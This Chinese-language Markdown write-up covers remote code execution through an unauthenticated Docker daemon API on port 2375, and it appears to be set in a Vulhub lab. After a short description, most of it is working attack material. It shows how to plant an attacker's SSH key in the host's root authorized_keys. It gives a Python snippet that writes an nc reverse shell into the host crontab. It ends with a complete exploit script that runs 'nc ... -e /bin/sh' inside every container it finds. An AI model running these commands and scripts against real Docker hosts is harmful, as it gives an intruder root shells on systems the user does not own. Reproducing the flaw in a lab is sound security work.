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136 lines
3.8 KiB
Markdown
136 lines
3.8 KiB
Markdown
# Docker daemon api 未授权访问漏洞 RCE
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## 漏洞描述
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Docker 是一个开源的应用容器引擎，让开发者可以打包应用及依赖包到一个轻量级、可移植的容器中，然后发布到 Linux 机器上，也可以实现虚拟化。Docker swarm 是 Docker 的集群管理工具，提供了标准的 Docker API。
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在使用 Docker swarm 的时候，管理的 Docker 节点上会开放一个 TCP 端口 2375，绑定在 0.0.0.0 上，直接 HTTP 访问会返回 “404 Not Found”。可以通过该 API 执行 Docker 命令，例如创建/删除 container、拉取 image、执行反弹 shell。
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## 环境搭建
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Vulhub 编译及启动漏洞环境：
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```
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docker-compose build
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docker-compose up -d
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```
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环境启动后，将监听 2375 端口。
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## 漏洞复现
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### 查看容器
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```
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http://your-ip:2375/containers/json
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```
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### 执行命令
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列出所有镜像：
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```
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docker -H tcp://your-ip:2375 images
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```
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列出所有容器：
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```
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docker -H tcp://your-ip:2375 ps -a
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```
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启动一个已经停止的容器：
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```
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docker -H tcp://your-ip:2375 start <container ID>
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```
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连接一个已经停止的容器：
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```
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docker -H tcp://your-ip:2375 attach <container ID>
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```
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### 获取权限
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#### 写入 ssh 公钥
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启动一个容器，挂载宿主机的 `/root` 目录，之后将攻击者的 ssh 公钥 `~/.ssh/id_rsa.pub` 的内容写到入宿主机的 `/root/.ssh/authorized_keys` 文件中，之后就可以用 root 账户直接登录了。
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本地获取 ssh 公钥：
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```
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ssh-keygen -t rsa
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```
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#### 反弹 shell
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随意启动一个容器，并将宿主机的 `/etc` 目录挂载到容器中，便可以任意读写文件了。可以将命令写入 crontab 配置文件，进行反弹 shell。
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```
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import docker
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client = docker.DockerClient(base_url='http://[docker ip]:2375/')
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data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc [your ip] 2333 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
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```
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监听 2333 端口，接收反弹 shell。
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此处的反弹 shell 需要和/etc/crontabs/root 文件同时写入，不能后续追加。
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## 漏洞 EXP
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```python
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from __future__ import print_function
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import requests
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import logging
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import json
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import urllib.parse
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# NOTE
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# Enable Remote API with the following command
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# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
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# This is an intended feature, remember to filter the port 2375..
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name = "docker"
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description = "Docker RCE via Open Docker API on port 2375"
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author = "Swissky"
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# Step 1 - Extract id and name from each container
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ip = "127.0.0.1"
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port = "2375"
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data = "containers/json"
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url = "http://{}:{}/{}".format(ip, port, data)
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r = requests.get(url)
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if r.json:
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for container in r.json():
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container_id = container['Id']
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container_name = container['Names'][0].replace('/','')
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print((container_id, container_name))
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# Step 2 - Prepare command
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cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
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data = "containers/{}/exec".format(container_name)
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url = "http://{}:{}/{}".format(ip, port, data)
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post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
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post_header = {
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"Content-Type": "application/json"
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}
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r = requests.post(url, json=json.loads(post_json))
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# Step 3 - Execute command
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id_cmd = r.json()['Id']
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data = "exec/{}/start".format(id_cmd)
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url = "http://{}:{}/{}".format(ip, port, data)
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post_json = '{ "Detach":false,"Tty":false}'
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post_header = {
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"Content-Type": "application/json"
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}
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r = requests.post(url, json=json.loads(post_json))
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print(r)
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```
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